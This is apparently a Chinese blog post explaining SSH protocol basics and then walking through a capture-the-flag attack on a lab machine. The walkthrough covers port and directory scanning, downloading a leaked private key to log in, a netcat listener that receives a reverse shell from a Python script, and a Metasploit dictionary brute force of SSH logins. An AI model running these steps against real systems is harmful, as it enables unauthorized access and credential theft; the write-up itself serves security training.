CTF-SSH服务渗透代码详细解说

9 篇文章 4 订阅

首先,我们先理解什么是SSH协议

SSH是(Secure SHell protocol)

(安全外壳协议)。由 IETF 的网络小组(Network Working Group)制定。

以前我们都是使用rshtelnet的明文传输,这样的话登录时的ID和密码数据就会直接在网络上暴露,相当于你在网络上被别人看的一清二楚。存在安全上的问题。而SSH提供了加密、校验和压缩,使得我们可以很安全的进行远程操作。不过这并不是绝对的,总有加密文件被破解的一天。但是相对与明文加密,这样还是好很多的。毕竟有密码和无密码的区别是不一样的。

SSH加密技术说明

现在网络上的数据包加密技术一般是通过所谓的一对公钥私钥(PublickeyandPivatekey)组合成的密钥对进行加密与解密操作。
公钥就是大家都知道的密钥,私钥就是只有自己知道的密钥,如果一个密钥加密了,就要另一个密钥去解密。那么我们就可以将它比作成一个锁头钥匙私钥就是钥匙公钥就是锁头。一个公钥对应一个私钥,一把锁对应一个钥匙。拿私钥解开公钥。

SSH主要由三部分组成:

SSH-TRANS

SSH传输层协议
传输层顾名思义就是传输数据,它提供作为可选项的数据的压缩功能,以便提高传输速度。并且可以负责进行服务器认证、密钥交换、数据机密性、信息完整性等方面的保护。而它的强大数据加密性以及密钥交换的功能使得它可以为用户认证提供强有力的基础。注意用户认证协议在其之上,其不能进行用户协议

SSH-USERAUTH

SSH用户认证协议
注意用户认证协议是在传输层协议之上的,它的功能就是为服务器提供客户端用户认证功能。当用户认证协议开始后,它会从传输层协议确认的会话ID,作为本次会话过程的唯一标识,这个唯一标识会用来证明这个私钥的所有权。即,它会通过这个会话的ID来判断你这个私钥是不是这个会话的公钥的解密私钥。且私钥是否合法。另外,ssh支持用户密码认证公钥认证CA证书认证。

SSH-CONNECT

SSH连接协议
注意连接协议用户认证协议传输层协议之上。大家经常用到的shell登录(交互式登录会话)就是它提供的功能之一。此外它还能进行远程命令的执行,转交TCP/IP连接以及转交X11连接。

SSH-CONNECT > SSH-USERAUTH > SSH-TRANS

SSH是由客户端和服务端组成的

有两个不兼容的版本分别是:1.x和2.x。 用SSH 2.x的客户程序是不能连接到SSH 1.x的服务程序上去的。OpenSSH 2.x同时支持SSH 1.x和2.x。

服务端

可以这么理解它是一个进程守护程序,它在后台运行并响应来自客户端的连接请求。服务端提供了对远程连接的管理,一般包括公钥认证密钥交换对称密钥加密非安全连接

客户端

包含ssh程序以及像scp(远程拷贝)、slogin(远程登陆)、sftp(安全文件传输)等其他的应用程序。

SSH认证机制

1.基于口令的安全认证

只需要你知道自己的账户和密码你就可以登录服务器,不过不能保证你连接的服务器是否是你要连接的服务器,就是说会受到中间人攻击的危险,不仅如此还存在通过字典来暴力破解你的密码用户。从而通过ssh客户端远程连接到远程SSH服务,对服务器进行控制。

2.基于密钥的安全认证

id_rsa=私钥 id_rsa.pub=公钥
非对称加密
RSA非对称加密
举个例子
B给A发送信息,A产生一个公钥给B
B通过公钥将信息加密后发送给A,A通过私钥对B的信息进行解密。
反之A通过私钥将信息加密发送给B,B通过公钥解密查看。

密钥认证机制
A向B请求数据,B查看A的公钥
如果公钥正确,则发送数据,否则不会将数据发出,并拒绝。
A拿到数据后,通过私钥解密。

因此, 如果黑客对主机进行信息收集拿到泄露的用户名和密钥,就可以对数据包进行破解。
chmod 600 id_rsa 获得读写权限
ssh -i 私钥 用户名@靶机ip地址

3.免密登录

将需无密码登录的主机公钥公钥上传至服务器
然后就可以进行免密登录。

服务渗透

进行版本号扫描

nmao -sV 靶机IP

在这里插入图片描述

进行综合扫描并且详细显示

nmap -A -v 靶机IP

在这里插入图片描述

进行操作系统扫描

nmap -O 靶机IP

在这里插入图片描述

进行隐藏内容扫描

dirb http://靶机IP

在这里插入图片描述

查看服务器版本号

nikto -host 靶机IP

在这里插入图片描述

通过发现内容发现存在VDSoyuAXiO.txt文件,进行查看。

靶机IP/icons/VDSoyuAXiO.txt

在这里插入图片描述

将txt文件进行下载

wget "http://靶机IP/icons/VDSoyuAXiO.txt"

在这里插入图片描述

查看当前目录

ls
ls -alh 查看隐藏文件
mv VDSoyuAXIO.txt id_rsa 将txt文件转换成id_rsa(私钥)
然后给私钥提权chmod 600 id _rsa
在这里插入图片描述

进行ssh登录

ssh -i id_rsa martion@靶机IP

通过私钥无密码登录!
在这里插入图片描述

查看所有用户组的列表

ls
在这里插入图片描述

查看用户组

cat /etc/group

在这里插入图片描述

查看缓冲文件目录

cd /tmp

查看隐藏文件

ls -alh
在这里插入图片描述

深入挖掘

cat /etc/crontab

在这里插入图片描述

添加监听端口

nc -lvp 4444

在这里插入图片描述

编写python文件

vi sss.py

在这里插入图片描述
在这里插入图片描述

添加监听端口

nc -lvp 4444

在这里插入图片描述

运行脚本

oython sss.py

在这里插入图片描述

监听端口成功连接

在这里插入图片描述

下载密码字典

在这里插入图片描述
提权第一次启动metasploit的情形,回车是默认选项,生成字典。
在这里插入图片描述
进入msf

在这里插入图片描述

寻找ssh_login模块

use auxiliary/scanner/ssh/ssh_login

在这里插入图片描述

对需要配置的服务进行配置ip,用户

show options
在这里插入图片描述

添加密码字典,线程数

set pass_file /root/common-password/hadi.txt
set threads 5

在这里插入图片描述

返回每一条登陆信息

set verbose true

在这里插入图片描述

运行模块

run
在这里插入图片描述

登陆后,返回了一个shell session,打开session

sessions -i 1

在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值